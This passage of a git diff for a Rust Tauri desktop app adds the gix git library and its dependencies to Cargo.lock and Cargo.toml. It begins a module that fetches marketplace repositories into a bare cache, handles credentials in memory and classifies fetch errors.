"gix-revwalk", +] + +[[package]] +name = "gix-note" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d6879cc9e5a9a0429e40b05970af6c8dad8734098a3142fec23e32eeb567580" +dependencies = [ + "gix-error", + "gix-hash", + "gix-object", +] + +[[package]] +name = "gix-object" +version = "0.65.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a72909eeeed845721a143ef3dbeb4d6cd5df79c839fe7eefc138cb4f982eba3e" +dependencies = [ + "bstr", + "gix-actor", + "gix-command", + "gix-date", + "gix-error", + "gix-features", + "gix-hash", + "gix-hashtable", + "gix-path", + "gix-tempfile", + "gix-utils", + "gix-validate", + "itoa", + "smallvec", +] + +[[package]] +name = "gix-odb" +version = "0.85.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5794b85ff563a290ea18867fa1f0a5b0b84709f2f34dddbb3614556fbe88c629" +dependencies = [ + "arc-swap", + "gix-error", + "gix-features", + "gix-fs", + "gix-hash", + "gix-hashtable", + "gix-object", + "gix-pack", + "gix-path", + "gix-quote", + "gix-zlib", + "memmap2", + "parking_lot", + "tempfile", +] + +[[package]] +name = "gix-pack" +version = "0.75.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0451a48faef8e0e7a8f6d903c8329c7d18a793b3030907ca841f889dc695d1df" +dependencies = [ + "clru", + "gix-chunk", + "gix-error", + "gix-features", + "gix-hash", + "gix-hashtable", + "gix-object", + "gix-path", + "gix-tempfile", + "gix-zlib", + "memmap2", + "parking_lot", + "smallvec", +] + +[[package]] +name = "gix-packetline" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ba540112a3fcc6388eb2aa4dc4837040478c285a35178cd9a44b07345cd6636" +dependencies = [ + "bstr", + "faster-hex", + "gix-error", + "gix-trace", +] + +[[package]] +name = "gix-path" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd051ac60c5dbce2228daabf25b6a76408ac732d416c678cfa0a4914d13f60b8" +dependencies = [ + "bstr", + "gix-error", + "gix-trace", + "gix-validate", +] + +[[package]] +name = "gix-pathspec" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ee883ab64bad641bf31ff338044edd7aa010605f19e866d98c9164e635c38b1" +dependencies = [ + "bitflags 2.11.0", + "bstr", + "gix-attributes", + "gix-config-value", + "gix-error", + "gix-glob", + "gix-path", +] + +[[package]] +name = "gix-prompt" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "057ae013425704c652a8abebc8660f45e9b0175b5b40ae72516732241ad6ba94" +dependencies = [ + "gix-command", + "gix-config-value", + "gix-error", + "parking_lot", + "rustix", +] + +[[package]] +name = "gix-protocol" +version = "0.66.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "331ac489c461790b6b692afb322085c42041c6ff7621c30ac3dbb00b12e05e89" +dependencies = [ + "bstr", + "gix-credentials", + "gix-date", + "gix-error", + "gix-features", + "gix-hash", + "gix-lock", + "gix-macros", + "gix-negotiate", + "gix-object", + "gix-ref", + "gix-refspec", + "gix-revwalk", + "gix-shallow", + "gix-trace", + "gix-transport", + "gix-utils", + "nonempty", +] + +[[package]] +name = "gix-quote" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6b040cfa7af50f131bfa34119cceee804c3cc40c766daaba8e0c8149340aea7" +dependencies = [ + "bstr", + "gix-error", + "gix-utils", +] + +[[package]] +name = "gix-ref" +version = "0.68.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c90ceeec67de03b737c30b1b69116ca56fec803edde022f3d25181f0f597083d" +dependencies = [ + "gix-actor", + "gix-error", + "gix-features", + "gix-fs", + "gix-hash", + "gix-lock", + "gix-object", + "gix-path", + "gix-tempfile", + "gix-utils", + "gix-validate", + "memmap2", +] + +[[package]] +name = "gix-refspec" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4caa89a034a055c0578150092d3edb2f1c3f74cca86b883263a28caa26c5812" +dependencies = [ + "bstr", + "gix-error", + "gix-hash", + "gix-validate", + "smallvec", +] + +[[package]] +name = "gix-revision" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8438d38e197fa3ea7bb297302db1701879a64a343f23a3d150a602a609a8751" +dependencies = [ + "bstr", + "gix-commitgraph", + "gix-date", + "gix-error", + "gix-hash", + "gix-object", + "gix-revwalk", + "nonempty", +] + +[[package]] +name = "gix-revwalk" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fa6d913e7cf8c6407d3954f9794b4b148c2113c672c34b63c59ea654a1e060e" +dependencies = [ + "gix-commitgraph", + "gix-date", + "gix-error", + "gix-hash", + "gix-hashtable", + "gix-object", + "smallvec", +] + +[[package]] +name = "gix-sec" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d8eb983a830ba586b61f7005deaf44609e1a4186cbf13a0e8668154ca910461" +dependencies = [ + "bitflags 2.11.0", + "gix-path", + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "gix-shallow" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "119bae1301715df40e8fd136deeff4fe8a3be4cfc001ed5e72bad7b47ebbc090" +dependencies = [ + "bstr", + "gix-error", + "gix-hash", + "gix-lock", + "nonempty", +] + +[[package]] +name = "gix-submodule" +version = "0.35.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b498192e5f89453fbd728263d52088aeec634a390e732f1da6d0a491c552091" +dependencies = [ + "bstr", + "gix-config", + "gix-error", + "gix-path", + "gix-pathspec", + "gix-refspec", + "gix-url", +] + +[[package]] +name = "gix-tempfile" +version = "25.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dd7dd8df3345933caddd6ce67821c9eec17192564f1011cf0bd0b8cb0d07ffb" +dependencies = [ + "dashmap", + "gix-fs", + "libc", + "parking_lot", + "tempfile", + "windows-sys 0.61.2", +] + +[[package]] +name = "gix-trace" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df45b2cf6052d9e52681130c17d67505b023e8933ad974f94a2be0b0d24f636a" + +[[package]] +name = "gix-transport" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d2beb7b0387bbf4d7c13763c6e168f9957319aa811f09349dc59601be3b2951" +dependencies = [ + "base64 0.22.1", + "bstr", + "gix-command", + "gix-credentials", + "gix-error", + "gix-features", + "gix-packetline", + "gix-path", + "gix-quote", + "gix-sec", + "gix-url", + "parking_lot", + "reqwest 0.13.5", +] + +[[package]] +name = "gix-traverse" +version = "0.62.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd4864934e4efd92082ecc37107bce0c389b58d82888db634817f9c711efb7ed" +dependencies = [ + "bitflags 2.11.0", + "gix-commitgraph", + "gix-date", + "gix-error", + "gix-hash", + "gix-hashtable", + "gix-object", + "gix-revwalk", + "smallvec", +] + +[[package]] +name = "gix-url" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f30fe2a228d7de5f9d582463d9b724debcb870162d9fbe908cd5d76ccdecf0d" +dependencies = [ + "bstr", + "gix-error", + "gix-path", + "gix-utils", + "percent-encoding", +] + +[[package]] +name = "gix-utils" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70525766f53426ca4cd2ea4d58b0b31488dfedb416b3254e2efdd9dc184cc880" +dependencies = [ + "bstr", + "fastrand", + "getrandom 0.4.1", + "unicode-normalization", +] + +[[package]] +name = "gix-validate" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30574f81fc41b2ca3582ece2bdf8696bdfe9c170aa7e8bcafb81199c86b1ceea" +dependencies = [ + "bstr", + "gix-error", +] + +[[package]] +name = "gix-worktree" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04fa19b9b3961aafb3b9e60005b9bcef0100f8b211f46ab5269a6ac896073780" +dependencies = [ + "bstr", + "gix-attributes", + "gix-error", + "gix-fs", + "gix-glob", + "gix-hash", + "gix-ignore", + "gix-index", + "gix-object", + "gix-path", + "gix-validate", +] + +[[package]] +name = "gix-worktree-stream" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2021e1609beae0edbeefa76ac641be0571b725afacb77ac5b12f33b436e0d3d9" +dependencies = [ + "gix-attributes", + "gix-error", + "gix-features", + "gix-filter", + "gix-fs", + "gix-hash", + "gix-object", + "gix-path", + "gix-traverse", + "parking_lot", +] + +[[package]] +name = "gix-zlib" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44a1a9c82ec5b712082566cbef8f5782472a0d3973132911e5a83380a5298fe2" +dependencies = [ + "gix-error", + "zlib-rs", +] + [[package]] name = "glib" version = "0.18.5" @@ -1791,12 +2762,46 @@ dependencies = [ "syn 2.0.117", ] +[[package]] +name = "h2" +version = "0.4.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef8e5e5a340588f4452631496976cf8636d4a7ecf600239fdc27615d2530bc16" +dependencies = [ + "atomic-waker", + "bytes", + "fnv", + "futures-core", + "futures-sink", + "http", + "indexmap 2.13.0", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hash32" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47d60b12902ba28e2730cd37e95b8c9223af2808df9e902d4df49588d1470606" +dependencies = [ + "byteorder", +] + [[package]] name = "hashbrown" version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" + [[package]] name = "hashbrown" version = "0.15.5" @@ -1811,6 +2816,32 @@ name = "hashbrown" version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash 0.2.0", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash 0.2.0", +] + +[[package]] +name = "heapless" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bfb9eb618601c89945a70e254898da93b13be0388091d42117462b265bb3fad" +dependencies = [ + "hash32", + "stable_deref_trait", +] [[package]] name = "heck" @@ -1913,6 +2944,7 @@ dependencies = [ "bytes", "futures-channel", "futures-core", + "h2", "http", "http-body", "httparse", @@ -2280,6 +3312,60 @@ dependencies = [ "system-deps", ] +[[package]] +name = "jiff" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ab1baf72f08796de0260609515130699b890ac25f30e610ad894bc5856cafdb" +dependencies = [ + "defmt 1.1.1", + "jiff-core", + "jiff-static", + "jiff-tzdb-platform", + "log", + "portable-atomic", + "portable-atomic-util", + "serde_core", + "windows-link 0.2.1", +] + +[[package]] +name = "jiff-core" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e52fe76043ccecc9005d2305ebaadf7d7fc0cc89ca6baa10a94d6bc68c7128c" +dependencies = [ + "defmt 1.1.1", + "log", +] + +[[package]] +name = "jiff-static" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "378268a1116ad67ae6228701118ac9f491d78fda38a40a1f1a9e1348de6f7212" +dependencies = [ + "jiff-core", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "jiff-tzdb" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "142bd39932ad231f10513df9ab62661fead8719872150b7ad02a2df79f4e141e" + +[[package]] +name = "jiff-tzdb-platform" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "875a5a69ac2bab1a891711cf5eccbec1ce0341ea805560dcd90b7a2e925132e8" +dependencies = [ + "jiff-tzdb", +] + [[package]] name = "jni" version = "0.21.1" @@ -2289,19 +3375,78 @@ dependencies = [ "cesu8", "cfg-if", "combine", - "jni-sys", + "jni-sys 0.3.0", "log", "thiserror 1.0.69", "walkdir", "windows-sys 0.45.0", ] +[[package]] +name = "jni" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5efd9a482cf3a427f00d6b35f14332adc7902ce91efb778580e180ff90fa3498" +dependencies = [ + "cfg-if", + "combine", + "jni-macros", + "jni-sys 0.4.1", + "log", + "simd_cesu8", + "thiserror 2.0.18", + "walkdir", + "windows-link 0.2.1", +] + +[[package]] +name = "jni-macros" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a00109accc170f0bdb141fed3e393c565b6f5e072365c3bd58f5b062591560a3" +dependencies = [ + "proc-macro2", + "quote", + "rustc_version", + "simd_cesu8", + "syn 2.0.117", +] + [[package]] name = "jni-sys" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" +[[package]] +name = "jni-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6377a88cb3910bee9b0fa88d4f42e1d2da8e79915598f65fb0c7ee14c878af2" +dependencies = [ + "jni-sys-macros", +] + +[[package]] +name = "jni-sys-macros" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38c0b942f458fe50cdac086d2f946512305e5631e720728f2a61aabcd47a6264" +dependencies = [ + "quote", + "syn 2.0.117", +] + +[[package]] +name = "jobserver" +version = "0.1.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c00acbd29eabad4a2392fa0e921c874934dbbf4194312ad20f04a0ed67a3cb3" +dependencies = [ + "getrandom 0.4.1", + "libc", +] + [[package]] name = "js-sys" version = "0.3.90" @@ -2404,9 +3549,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.182" +version = "0.2.189" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6800badb6cb2082ffd7b6a67e6125bb39f18782f793520caee8cb8846be06112" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" [[package]] name = "libdbus-sys" @@ -2435,7 +3580,6 @@ checksum = "3d0b95e02c851351f877147b7deea7b1afb1df71b63aa5f8270716e0c5720616" dependencies = [ "bitflags 2.11.0", "libc", - "redox_syscall 0.7.2", ] [[package]] @@ -2552,6 +3696,15 @@ version = "2.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" +[[package]] +name = "memmap2" +version = "0.9.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1219ed1b7f229ee7104d281dd01d6802fe28bb6e95d292942c4daacdeb798c0" +dependencies = [ + "libc", +] + [[package]] name = "memoffset" version = "0.9.1" @@ -2629,6 +3782,12 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "multiversion_no_op" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "743fb55ba31b18fb1ecef6bdc9aa2743314978ac084044301a7eee33fb99a20d" + [[package]] name = "ndk" version = "0.9.0" @@ -2636,7 +3795,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c3f42e7bbe13d351b6bead8286a43aac9534b82bd3cc43e47037f012ebfd62d4" dependencies = [ "bitflags 2.11.0", - "jni-sys", + "jni-sys 0.3.0", "log", "ndk-sys", "num_enum", @@ -2650,7 +3809,7 @@ version = "0.6.0+11769913" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ee6cda3051665f1fb8d9e08fc35c96d5a244fb1be711a03b71118828afc9a873" dependencies = [ - "jni-sys", + "jni-sys 0.3.0", ] [[package]] @@ -2694,6 +3853,12 @@ version = "0.1.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" +[[package]] +name = "nonempty" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9737e026353e5cd0736f98eddae28665118eb6f6600902a7f50db585621fecb6" + [[package]] name = "num-conv" version = "0.2.0" @@ -2929,9 +4094,9 @@ dependencies = [ [[package]] name = "once_cell" -version = "1.21.3" +version = "1.21.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" [[package]] name = "opaque-debug" @@ -2951,6 +4116,12 @@ dependencies = [ "pathdiff", ] +[[package]] +name = "openssl-probe" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c87def4c32ab89d880effc9e097653c8da5d6ef28e6b539d313baaacfbafcbe" + [[package]] name = "option-ext" version = "0.2.0" @@ -3016,7 +4187,7 @@ checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" dependencies = [ "cfg-if", "libc", - "redox_syscall 0.5.18", + "redox_syscall", "smallvec", "windows-link 0.2.1", ] @@ -3325,6 +4496,21 @@ dependencies = [ "universal-hash", ] +[[package]] +name = "portable-atomic" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" + +[[package]] +name = "portable-atomic-util" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" +dependencies = [ + "portable-atomic", +] + [[package]] name = "potential_utf" version = "0.1.4" @@ -3455,6 +4641,15 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "prodash" +version = "31.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "962200e2d7d551451297d9fdce85138374019ada198e30ea9ede38034e27604c" +dependencies = [ + "parking_lot", +] + [[package]] name = "pxfm" version = "0.1.27" @@ -3499,6 +4694,7 @@ version = "0.11.13" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f1906b49b0c3bc04b5fe5d86a77925ae6524a19b816ae38ce1e426255f1d8a31" dependencies = [ + "aws-lc-rs", "bytes", "getrandom 0.3.4", "lru-slab", @@ -3668,15 +4864,6 @@ dependencies = [ "bitflags 2.11.0", ] -[[package]] -name = "redox_syscall" -version = "0.7.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d94dd2f7cd932d4dc02cc8b2b50dfd38bd079a4e5d79198b99743d7fcf9a4b4" -dependencies = [ - "bitflags 2.11.0", -] - [[package]] name = "redox_users" version = "0.5.2" @@ -3779,27 +4966,37 @@ dependencies = [ [[package]] name = "reqwest" -version = "0.13.2" +version = "0.13.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ab3f43e3283ab1488b624b44b0e988d0acea0b3214e694730a055cb6b2efa801" +checksum = "16a1cfa75cc186dd73d5818e510e042e40927bccc9c236b061cea97e1eb08029" dependencies = [ - "base64 0.22.1", + "base64 0.23.1", "bytes", + "encoding_rs", + "futures-channel", "futures-core", "futures-util", + "h2", "http", "http-body", "http-body-util", "hyper", + "hyper-rustls", "hyper-util", "js-sys", "log", + "mime", "percent-encoding", "pin-project-lite", + "quinn", + "rustls", + "rustls-pki-types", + "rustls-platform-verifier", "serde", "serde_json", "sync_wrapper", "tokio", + "tokio-rustls", "tokio-util", "tower", "tower-http", @@ -3883,6 +5080,7 @@ version = "0.23.37" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" dependencies = [ + "aws-lc-rs", "once_cell", "ring", "rustls-pki-types", @@ -3891,6 +5089,18 @@ dependencies = [ "zeroize", ] +[[package]] +name = "rustls-native-certs" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dab5152771c58876a2146916e53e35057e1a4dfa2b9df0f0305b07f611fdea4d" +dependencies = [ + "openssl-probe", + "rustls-pki-types", + "schannel", + "security-framework 3.7.0", +] + [[package]] name = "rustls-pki-types" version = "1.14.0" @@ -3901,12 +5111,40 @@ dependencies = [ "zeroize", ] +[[package]] +name = "rustls-platform-verifier" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1167586491e2b18b8bfbb293e8180ec17c201c4f076d7cb3070ca964e7598f98" +dependencies = [ + "core-foundation 0.10.1", + "core-foundation-sys", + "jni 0.22.4", + "log", + "once_cell", + "rustls", + "rustls-native-certs", + "rustls-platform-verifier-android", + "rustls-webpki", + "security-framework 3.7.0", + "security-framework-sys", + "webpki-root-certs", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls-platform-verifier-android" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eec689c0bc40ff2458a5977b6619cb718087084a18e02a131c599b62d05e1a5f" + [[package]] name = "rustls-webpki" version = "0.103.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d7df23109aa6c1567d1c575b9952556388da57401e4ace1d15f79eedad0d8f53" dependencies = [ + "aws-lc-rs", "ring", "rustls-pki-types", "untrusted", @@ -3933,6 +5171,15 @@ dependencies = [ "winapi-util", ] +[[package]] +name = "schannel" +version = "0.1.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91c1b7e4904c873ef0710c1f407dde2e6287de2bebc1bbbf7d430bb7cbffd939" +dependencies = [ + "windows-sys 0.61.2", +] + [[package]] name = "schemars" version = "0.8.22" @@ -4274,6 +5521,12 @@ dependencies = [ "digest", ] +[[package]] +name = "sha1dc" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "983e970f506614c430f713c2da211ae1e3b9b71ca695a3c290bce7ccf0a87da8" + [[package]] name = "sha2" version = "0.10.9" @@ -4307,6 +5560,22 @@ version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e320a6c5ad31d271ad523dcf3ad13e2767ad8b1cb8f047f75a8aeaf8da139da2" +[[package]] +name = "simd_cesu8" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11031e251abf8611c80f460e19dbdeb54a66db918e49c65a7065b46ac7aec520" +dependencies = [ + "rustc_version", + "simdutf8", +] + +[[package]] +name = "simdutf8" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" + [[package]] name = "siphasher" version = "0.3.11" @@ -4356,7 +5625,7 @@ dependencies = [ "objc2-foundation", "objc2-quartz-core", "raw-window-handle", - "redox_syscall 0.5.18", + "redox_syscall", "tracing", "wasm-bindgen", "web-sys", @@ -4540,7 +5809,7 @@ dependencies = [ "gdkwayland-sys", "gdkx11-sys", "gtk", - "jni", + "jni 0.21.1", "libc", "log", "ndk", @@ -4608,7 +5877,7 @@ dependencies = [ "heck 0.5.0", "http", "image", - "jni", + "jni 0.21.1", "libc", "log", "mime", @@ -4621,7 +5890,7 @@ dependencies = [ "percent-encoding", "plist", "raw-window-handle", - "reqwest 0.13.2", + "reqwest 0.13.5", "serde", "serde_json", "serde_repr", @@ -4795,7 +6064,7 @@ dependencies = [ "dpi", "gtk", "http", - "jni", + "jni 0.21.1", "objc2", "objc2-ui-kit", "objc2-web-kit", @@ -4818,7 +6087,7 @@ checksum = "2cadb13dad0c681e1e0a2c49ae488f0e2906ded3d57e7a0017f4aaf46e387117" dependencies = [ "gtk", "http", - "jni", + "jni 0.21.1", "log", "objc2", "objc2-app-kit", @@ -5289,6 +6558,7 @@ dependencies = [ "dirs", "fern", "futures-util", + "gix", "iana-time-zone", "include_dir", "keyring", @@ -5304,6 +6574,7 @@ dependencies = [ "tauri-build", "tauri-plugin-dialog", "tauri-plugin-opener", + "tempfile", "tokio", "tower-http", "url", @@ -5404,12 +6675,27 @@ version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dbc4bc3a9f746d862c45cb89d705aa10f187bb96c76001afab07a0d35ce60142" +[[package]] +name = "unicode-bom" +version = "2.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7eec5d1121208364f6793f7d2e222bf75a915c19557537745b195b253dd64217" + [[package]] name = "unicode-ident" version = "1.0.24" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" +[[package]] +name = "unicode-normalization" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd4f6878c9cb28d874b009da9e8d183b5abc80117c40bbd187a1fde336be6e8" +dependencies = [ + "tinyvec", +] + [[package]] name = "unicode-segmentation" version = "1.12.0" @@ -5750,6 +7036,15 @@ dependencies = [ "system-deps", ] +[[package]] +name = "webpki-root-certs" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b96554aa2acc8ccdb7e1c9a58a7a68dd5d13bccc69cd124cb09406db612a1c9b" +dependencies = [ + "rustls-pki-types", +] + [[package]] name = "webpki-roots" version = "1.0.6" @@ -6369,7 +7664,7 @@ dependencies = [ "gtk", "http", "javascriptcore-rs", - "jni", + "jni 0.21.1", "libc", "ndk", "objc2", @@ -6590,6 +7885,12 @@ dependencies = [ "syn 2.0.117", ] +[[package]] +name = "zlib-rs" +version = "0.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b268e58e7c693d7c271f93ffc4ba3b380412554231c85bf61ca7af91042a4112" + [[package]] name = "zmij" version = "1.0.21" diff --git a/app/src-tauri/Cargo.toml b/app/src-tauri/Cargo.toml index 040e219..6a70f4e 100644 --- a/app/src-tauri/Cargo.toml +++ b/app/src-tauri/Cargo.toml @@ -43,11 +43,15 @@ zeroize = "1" # container. Already in the tree transitively (reqwest), and the point of # using it rather than hand-rolling is parity with the frontend's `new URL()`. url = "2" +# Marketplace repos are fetched on the host into a bare cache (spec §3). +# Blocking client + rustls: no git binary or OpenSSL needed on the host. +gix = { version = "0.88", default-features = false, features = ["blocking-network-client", "blocking-http-transport-reqwest-rust-tls", "credentials", "sha1"] } [dev-dependencies] # `test-util` (not part of tokio's `full`) lets the auto-start retry tests run # their backoff schedule under a paused clock instead of in real seconds. tokio = { version = "1", features = ["full", "test-util"] } +tempfile = "3" [build-dependencies] tauri-build = { version = "2", features = [] } diff --git a/app/src-tauri/src/marketplace/git.rs b/app/src-tauri/src/marketplace/git.rs new file mode 100644 index 0000000..bf39be8 --- /dev/null +++ b/app/src-tauri/src/marketplace/git.rs @@ -0,0 +1,648 @@ +//! The marketplace cache: one bare `gix` repository per marketplace. +//! +//! Everything here is blocking — call it from `tokio::task::spawn_blocking`. +//! Credentials are handed to gix through its credential callback for the +//! duration of one fetch and are never written to disk or into the repo +//! config. + +use std::path::{Path, PathBuf}; +use std::sync::atomic::AtomicBool; + +/// The ref the fetched branch tip is stored under. +pub const HEAD_REF: &str = "refs/triple-c/head"; +/// Prefix of the refs that keep pinned commits alive. +pub const PIN_PREFIX: &str = "refs/triple-c/pins/"; + +#[derive(Clone)] +pub struct Credential { + pub username: String, + pub password: String, +} + +impl std::fmt::Debug for Credential { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Credential") + .field("username", &self.username) + .field("password", &"") + .finish() + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum FetchError { + /// 401 / 403, or gix's "credentials … were not accepted" / "no + /// credentials were returned" (anonymous fetch of a private repo). + Auth { + status: u16, + }, + /// 404 / "repository not found". + NotFound, + Network(String), + Other(String), +} + +impl std::fmt::Display for FetchError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + FetchError::Auth { status } => write!(f, "access denied (HTTP {})", status), + FetchError::NotFound => write!(f, "repository not found"), + FetchError::Network(m) => write!(f, "network error: {}", m), + FetchError::Other(m) => write!(f, "{}", m), + } + } +} + +/// Classify a gix error by its Debug-formatted chain. gix wraps transport +/// errors several layers deep and some layers are not `std::error::Error`, +/// so the text is the one stable thing to match on. +pub fn classify_fetch_error(chain: &str) -> FetchError { + let lower = chain.to_ascii_lowercase(); + if lower.contains("http status 401") + || lower.contains("not accepted by the remote") + // GitHub and GitLab answer an anonymous fetch of a private (or + // missing) repo with a credential challenge; with no credential + // callback result gix reports this (pre-flight F2). + || lower.contains("no credentials were returned") + { + return FetchError::Auth { status: 401 }; + } + if lower.contains("http status 403") { + return FetchError::Auth { status: 403 }; + } + if lower.contains("http status 404") || lower.contains("repository not found") { + return FetchError::NotFound; + } + const NETWORK: &[&str] = &[ + "dns error", + "resolving dns", + "failed to lookup address", + "connection refused", + "connection reset", + "timed out", + "timeout", + "network is unreachable", + "no route to host", + "error sending request", + "tcp connect error", + ]; + if NETWORK.iter().any(|needle| lower.contains(needle)) { + // The outermost line is a generic 